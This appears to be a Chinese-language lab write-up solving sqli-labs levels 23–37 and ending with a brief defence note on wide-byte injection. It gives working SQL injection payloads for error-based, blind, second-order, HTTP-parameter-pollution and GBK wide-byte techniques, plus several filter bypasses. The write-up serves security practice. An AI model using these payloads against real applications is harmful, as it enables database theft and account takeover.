sqli-labs(23-37)
23 没有注释的报错注入
首先正常登入查看回显,会有两个点,name和pass,所以思路是想着union

然后测试闭合方式 ID:1' --》报错 ID:1" --》不报错 所以是单引号闭合变量 验证一下 ID:1" and 1=1 --》不报错正常回显 ID:1" and 1=2 --》不报错正常回显 ID:1' and 1=1 --》报错 ID:1' and '1'='1--》不报错正常回显 所以确实是单引号闭合 后来带注释去做,一直卡住,看了源码才知道ban了#和--
那就没办法用union注入了
所以是利用报错注入 ID:1' and extractvalue(1,concat(0x7e,(select user()))) and '1 
24 二次注入
passchange页面中对username的检查不严格

通过注册一个账户名为admin'#的账户

以此账户更改密码即可改admin用户的密码

25
过滤了or和and
payload:http://sql.test/Less-25/?id=0%27union%20select%201,user(),3--+
25-a
payload:http://sql.test/Less-25a/?id=0%20union%20select%201,user(),3--+
payload:http://sql.test/Less-25a/?id=0||1=1--+
26 对注释的禁用

利用报错
payload:http://sql.test/Less-26/?id=0%27||extractvalue(1,concat(0x7e,(select(user()))))||%270
26-a 对注释和空格禁用且没有报错返回
那就不用报错,用盲注

payload:http://sql.test/Less-26a/?id=0%27||(user()=%27root@localhost%27)||%270
27

其实报错依然可以使用,只不过selec需要大小写绕一下
payloadhttp://sql.test/Less-27/?id=0%27||extractvalue(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema)=%27security%27)))||%27
27A
与27差别在于没有报错所以用盲注
payload:http://sql.test/Less-27a/?id=0%22||substr(database(),1,1)=%27s%27||%22
28

对union select的制裁不够严格,可以用(绕过,
对于spaces正则没有m,所以可以用%0d
payload:http://sql.test/Less-28/?id=0%27)union(select%0d1,database(),%273
28a

28a更简单了。。。
payload:http://sql.test/Less-28a/?id=0%27)unIon(sElect%201,database(),%273
29-31
29 绕过白名单
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
这里的方法是传入两个id参数,让第一个过白名单,第二个用以sql注入
payload:http://sql.test/Less-29/?id=1&id=%27union%20select%201,database(),3--+
30
与29的差别在于对id多加了双引号
payload:http://sql.test/Less-30/?id=1%22&id=%22union%20select%201,database(),3--+%22
31
与30的差别在于加了括号
payload:http://sql.test/Less-31/?id=1%22&id=0%22)union%20select%201,database(),3--+
32-37 宽字节(addslashes())
推荐文章:https://www.cnblogs.com/zzjdbk/p/12984498.html
gbk编码时多字节编码
利用ascii码大于128的字符结合反引号的去生成一个汉字
payload:http://sql.test/Less-32/?id=0%df%27union%20select%201,database(),3--+
33
同32一样的payload
34 post 宽字节

35
没有引号,也不需要考虑宽字节
payloadhttp://sql.test/Less-35/?id=0%20union%20select%201,database(),3--+asd
36
有引号,考虑宽字节
payloadhttp://sql.test/Less-36/?id=0%df%27union%20select%201,database(),3--+
37 同34

宽字节的防御策略
使用mysql_set_charset(GBK)指定字符集
使用mysql_real_escape_string进行转义(避免iconv函数造成的字符转义反斜杠造成的注入)
这里的37为例

虽然使用了mysql_real_escape_string转义
但是有set gbk
所以关闭这里,就成功避免了宽字节



浙公网安备 33010602011771号